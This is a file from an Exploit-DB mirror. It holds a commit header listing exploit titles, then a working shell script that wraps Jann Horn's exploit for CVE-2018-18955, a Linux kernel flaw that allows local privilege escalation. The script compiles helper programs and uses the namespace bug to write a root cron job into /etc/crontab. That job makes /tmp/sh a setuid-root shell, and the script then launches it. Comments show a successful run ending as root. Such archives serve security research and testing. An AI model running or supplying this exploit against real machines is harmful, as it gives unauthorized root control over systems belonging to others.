exploit-db-mirror/exploits/linux/local/47164.sh
Offensive Security 6f49190671 DB: 2019-07-27
19 changes to exploits/shellcodes

pdfresurrect 0.15 - Buffer Overflow

Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Privilege Escalation
Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation

Serv-U FTP Server < 15.1.7 - Local Privilege Escalation
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)
Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method)
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method)
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method)
Linux Kernel 4.8.0-34 < 4.8.0-45  (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation
VMware Workstation/Player < 12.5.5 - Local Privilege Escalation
S-nail < 14.8.16 - Local Privilege Escalation
Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)
ASAN/SUID - Local Privilege Escalation
Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation

Ovidentia 8.4.3 - SQL Injection
Moodle Filepicker 3.5.2 - Server Side Request Forgery
Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution
Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit)
Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection
2019-07-27 05:02:19 +00:00

103 lines
No EOL
2.5 KiB
Bash
Executable file

#!/bin/sh
#
# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47164.zip
#
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses crontab technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh
# [*] Compiling...
# [*] Writing payload to /tmp/payload...
# [*] Adding cron job... (wait a minute)
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh
# [*] Cleaning up...
# [!] Remember to clean up /etc/crontab
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
bootstrap="/tmp/payload"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists gcc; then
echo '[-] gcc is not installed'
exit 1
fi
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
exit 1
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
exit 1
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
exit 1
fi
echo "[*] Writing payload to ${bootstrap}..."
echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap
/bin/chmod +x "${bootstrap}"
echo "[*] Adding cron job... (wait a minute)"
echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell
sleep 60
if ! test -u "${rootshell}"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
/bin/rm "${bootstrap}"
exit 1
fi
echo '[+] Success:'
ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm "${bootstrap}"
/bin/rm subuid_shell
/bin/rm subshell
if command_exists /bin/sed; then
echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell
else
echo "[!] Manual clean up of /etc/crontab required"
fi
echo "[*] Launching root shell: ${rootshell}"
$rootshell